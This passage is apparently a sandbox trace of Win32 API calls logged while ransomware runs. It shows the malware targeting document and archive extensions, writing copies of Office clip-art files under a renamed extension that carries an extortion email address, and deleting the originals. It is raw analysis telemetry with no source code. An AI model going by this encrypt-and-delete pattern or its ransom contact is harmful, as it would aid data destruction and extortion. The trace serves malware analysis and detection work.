	[0093.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220
	[0093.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.356] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.356] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.356] GetLastError () returned 0x0
	[0093.356] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x96c, lpOverlapped=0x0) returned 1
	[0093.358] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x970, lpOverlapped=0x0) returned 1
	[0093.359] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.359] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.359] SetEndOfFile (hFile=0x300) returned 1
	[0093.359] CloseHandle (hObject=0x300) returned 1
	[0093.359] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.359] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.360] CloseHandle (hObject=0x2b8) returned 1
	[0093.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString=".doc") returned 4
	[0093.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString=".docx") returned 5
	[0093.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.361] lstrlenW (lpString=".pdf") returned 4
	[0093.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString=".xls") returned 4
	[0093.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.361] lstrlenW (lpString=".xlsx") returned 5
	[0093.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.361] lstrlenW (lpString=".ppt") returned 4
	[0093.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString=".zip") returned 4
	[0093.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.361] lstrlenW (lpString=".rar") returned 4
	[0093.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString=".bz2") returned 4
	[0093.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString=".7z") returned 3
	[0093.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString=".dbf") returned 4
	[0093.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString=".1cd") returned 4
	[0093.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.361] lstrlenW (lpString=".jpg") returned 4
	[0093.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString=".doc") returned 4
	[0093.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString=".docx") returned 5
	[0093.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.362] lstrlenW (lpString=".pdf") returned 4
	[0093.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString=".xls") returned 4
	[0093.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.362] lstrlenW (lpString=".xlsx") returned 5
	[0093.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.362] lstrlenW (lpString=".ppt") returned 4
	[0093.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString=".zip") returned 4
	[0093.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.362] lstrlenW (lpString=".rar") returned 4
	[0093.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString=".bz2") returned 4
	[0093.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString=".7z") returned 3
	[0093.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString=".dbf") returned 4
	[0093.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString=".1cd") returned 4
	[0093.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0093.362] lstrlenW (lpString=".jpg") returned 4
	[0093.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.362] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.362] lstrlenW (lpString="FD01176_.WMF") returned 12
	[0093.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.363] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4984) returned 1
	[0093.363] CloseHandle (hObject=0x2b8) returned 1
	[0093.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220
	[0093.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.372] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.372] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.373] GetLastError () returned 0x0
	[0093.373] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1378, lpOverlapped=0x0) returned 1
	[0093.374] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1380, lpOverlapped=0x0) returned 1
	[0093.375] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.375] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.375] SetEndOfFile (hFile=0x300) returned 1
	[0093.375] CloseHandle (hObject=0x300) returned 1
	[0093.375] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.375] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.376] CloseHandle (hObject=0x2b8) returned 1
	[0093.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString=".doc") returned 4
	[0093.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString=".docx") returned 5
	[0093.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.377] lstrlenW (lpString=".pdf") returned 4
	[0093.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString=".xls") returned 4
	[0093.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.377] lstrlenW (lpString=".xlsx") returned 5
	[0093.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.377] lstrlenW (lpString=".ppt") returned 4
	[0093.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString=".zip") returned 4
	[0093.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.377] lstrlenW (lpString=".rar") returned 4
	[0093.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString=".bz2") returned 4
	[0093.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString=".7z") returned 3
	[0093.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString=".dbf") returned 4
	[0093.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString=".1cd") returned 4
	[0093.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.377] lstrlenW (lpString=".jpg") returned 4
	[0093.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString=".doc") returned 4
	[0093.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString=".docx") returned 5
	[0093.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.378] lstrlenW (lpString=".pdf") returned 4
	[0093.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString=".xls") returned 4
	[0093.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.378] lstrlenW (lpString=".xlsx") returned 5
	[0093.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.378] lstrlenW (lpString=".ppt") returned 4
	[0093.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString=".zip") returned 4
	[0093.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.378] lstrlenW (lpString=".rar") returned 4
	[0093.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString=".bz2") returned 4
	[0093.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString=".7z") returned 3
	[0093.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString=".dbf") returned 4
	[0093.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString=".1cd") returned 4
	[0093.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0093.378] lstrlenW (lpString=".jpg") returned 4
	[0093.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.378] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.378] lstrlenW (lpString="FD01191_.WMF") returned 12
	[0093.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.379] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3964) returned 1
	[0093.379] CloseHandle (hObject=0x2b8) returned 1
	[0093.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220
	[0093.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0093.379] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.379] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0093.379] GetLastError () returned 0x0
	[0093.379] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xf7c, lpOverlapped=0x0) returned 1
	[0093.382] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0093.384] ReadFile (in: hFile=0x2b8, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.384] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.384] SetEndOfFile (hFile=0x300) returned 1
	[0093.384] CloseHandle (hObject=0x300) returned 1
	[0093.385] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.385] SetEndOfFile (hFile=0x2b8) returned 1
	[0093.385] CloseHandle (hObject=0x2b8) returned 1
	[0093.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0093.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.386] lstrlenW (lpString=".doc") returned 4
	[0093.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.386] lstrlenW (lpString=".docx") returned 5
	[0093.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.386] lstrlenW (lpString=".pdf") returned 4
	[0093.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.386] lstrlenW (lpString=".xls") returned 4
	[0093.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.386] lstrlenW (lpString=".xlsx") returned 5
	[0093.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.386] lstrlenW (lpString=".ppt") returned 4
	[0093.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.386] lstrlenW (lpString=".zip") returned 4
	[0093.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.386] lstrlenW (lpString=".rar") returned 4
	[0093.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.386] lstrlenW (lpString=".bz2") returned 4
	[0093.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.386] lstrlenW (lpString=".7z") returned 3
	[0093.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".dbf") returned 4
	[0093.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".1cd") returned 4
	[0093.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".jpg") returned 4
	[0093.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".doc") returned 4
	[0093.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString=".docx") returned 5
	[0093.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.387] lstrlenW (lpString=".pdf") returned 4
	[0093.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString=".xls") returned 4
	[0093.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.387] lstrlenW (lpString=".xlsx") returned 5
	[0093.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.387] lstrlenW (lpString=".ppt") returned 4
	[0093.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".zip") returned 4
	[0093.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.387] lstrlenW (lpString=".rar") returned 4
	[0093.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString=".bz2") returned 4
	[0093.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.387] lstrlenW (lpString=".7z") returned 3
	[0093.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.387] lstrlenW (lpString=".dbf") returned 4
	[0093.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.388] lstrlenW (lpString=".1cd") returned 4
	[0093.388] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0093.388] lstrlenW (lpString=".jpg") returned 4
	[0093.388] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.388] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.388] lstrlenW (lpString="FD01193_.WMF") returned 12
	[0093.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
